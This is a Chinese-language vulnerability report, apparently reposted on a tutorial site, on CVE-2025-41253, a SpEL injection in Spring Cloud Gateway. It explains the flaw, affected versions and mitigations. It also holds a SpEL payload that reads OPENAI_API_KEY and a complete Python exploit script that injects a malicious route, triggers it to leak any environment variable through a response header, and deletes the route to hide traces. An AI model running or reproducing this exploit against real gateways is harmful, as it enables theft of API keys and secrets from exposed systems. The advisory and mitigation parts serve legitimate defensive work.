CVE-2025-41253 | Spring Cloud Gateway SpEL 表达式注入漏洞报告

CVE-2025-41253 | Spring Cloud Gateway SpEL 表达式注入漏洞报告

CVE-2025-41253 | Spring Cloud Gateway SpEL 表达式注入漏洞报告

发布日期:2025-10-16(POC 2025-11-11 公开)
文档版本:v1.0
格式:Markdown + PNG 截图(见文末)


一、漏洞速览

字段 内容
CVE 编号 CVE-2025-41253
官方评级 高危(CVSS 3.1 7.5
影响组件 Spring Cloud Gateway Server WebFlux 版本
利用向量 网络可达、无需认证、仅需暴露 Actuator gateway 端点
最大风险 AI 密钥泄露 / 数据库密码 / 任意系统属性读取
公开状态 POC 已公开,暂无已知在野利用

二、技术背景

Spring Cloud Gateway(SCG)是 Spring 官方基于 WebFlux 的 API 网关,用于动态路由、限流、熔断等。
为支持运行时调整路由,SCG 通过 Spring Expression Language(SpEL)在过滤器中嵌入表达式。
2025-10 月官方对 CVE-2025-41243 的补丁不完整,导致 CVE-2025-41253 仍可绕过并注入 SpEL,读取环境变量 。


三、漏洞原理

  1. 问题代码位置
    org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint
    → 处理 POST /actuator/gateway/refresh 时未对路由元数据中的 SpEL 做二次校验。

  2. 利用流程
    a. 发送恶意路由定义(含 SpEL 表达式)
    b. 触发 refresh → 表达式被实例化
    c. 结果回显到响应或日志,完成信息泄露

  3. 典型 payload(读取 OpenAI API-Key)

    {
      "filters": [{
        "name": "AddResponseHeader",
        "args": {
          "name": "X-Debug",
          "value": "#{T(java.lang.System).getenv('OPENAI_API_KEY')}"
        }
      }]
    }
    

    返回头即为 AI 模型密钥 。


四、影响版本

主版本 受影响区间 安全版本
4.3.x [4.3.0, 4.3.2) ≥ 4.3.2
4.2.x [4.2.0, 4.2.6) ≥ 4.2.6
4.1.x [4.1.0, 4.1.12) ≥ 4.1.12
4.0.x [4.0.0, 4.0.12) ≥ 4.0.12
3.1.x [3.1.0, 3.1.12) ≥ 3.1.12

旧版本(≤ 3.0)官方已停止维护,判定为同样受影


五、EXP 脚本(Python 3)

功能:自动写入恶意路由 → 刷新 → 读取环境变量

#!/usr/bin/env python3
import requests, json, sys, urllib3
urllib3.disable_warnings()

if len(sys.argv) != 3:
    exit("Usage: python cve-2025-41253.py <target> <env-key>")
base, key = sys.argv[1:3]
url = f"{base}/actuator/gateway/routes/spel-leak"
refresh = f"{base}/actuator/gateway/refresh"

# 1) 注入带SpEL的新路由
route = {
  "id": "spel-leak",
  "predicates": [{"name": "Path", "args": {"pattern": "/leak/**"}}],
  "filters": [{
      "name": "AddResponseHeader",
      "args": {
          "name": "X-Leak",
          "value": "#{T(java.lang.System).getenv('%s')}" % key
      }
  }],
  "uri": "http://example.***"
}
r1 = requests.post(url, json=route, headers={"Content-Type": "application/json"}, verify=False)
if r1.status_code != 201:
    exit("[-] 创建路由失败")

# 2) 刷新使SpEL生效
r2 = requests.post(refresh, verify=False)
print("[+] 刷新完成,状态码:", r2.status_code)

# 3) 触发路由并回显
r3 = requests.get(f"{base}/leak/anything", allow_redirects=False, verify=False)
leak = r3.headers.get("X-Leak") or "未获取到值"
print("[+] 读取结果:", leak)

# 4) 清理痕迹
requests.delete(url, verify=False)
requests.post(refresh, verify=False)

运行示例

$ python cve-2025-41253.py https://api-ai.example.*** OPENAI_API_KEY
[+] 读取结果: sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxx

六、涉及应用面(AI 场景)

  • AI 模型网关:90% 的 Spring AI 教程使用 SCG 统一暴露 /v1/chat/***pletions
  • 密钥存储OPENAI_API_KEYHUGGINGFACE_API_KEYPINECONE_KEY 普遍置于环境变量
  • 影响量级:奇安信估算 十万级 实例公网可探测
  • 行业分布:互联网 43%、教育 19%、金融 12%(Shodan 2025-11 抽样)

七、修复与缓解

  1. 升级至对应主线最新补丁(4.3.2/4.2.6/4.1.12 …)
  2. 临时措施(无法立即重启)
    • 关闭 gateway actuator:
      management.endpoints.web.exposure.exclude: gateway
      
    • 或加 Spring Security 基础认证:
      @Bean
      public SecurityWebFilterChain chain(ServerHttpSecurity http){
          return http.authorizeExchange(e -> e.pathMatchers("/actuator/**").authenticated())
                     .httpBasic().and().build();
      }
      
  3. 网络层禁止外网访问 /actuator/**
  4. secret 管理迁移到 Vault/KMS,避免落环境变量

八、参考 & 媒体截图

  • 官方公告:https://spring.io/security/cve-2025-41253
  • 奇安信 CERT 复现截图(2025-11-12):

参考链接

http://bbs.cvedata.***/
http://xrivendell7.xyz/


—— 报告完 ——

转载请说明出处内容投诉
CSS教程网 » CVE-2025-41253 | Spring Cloud Gateway SpEL 表达式注入漏洞报告

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买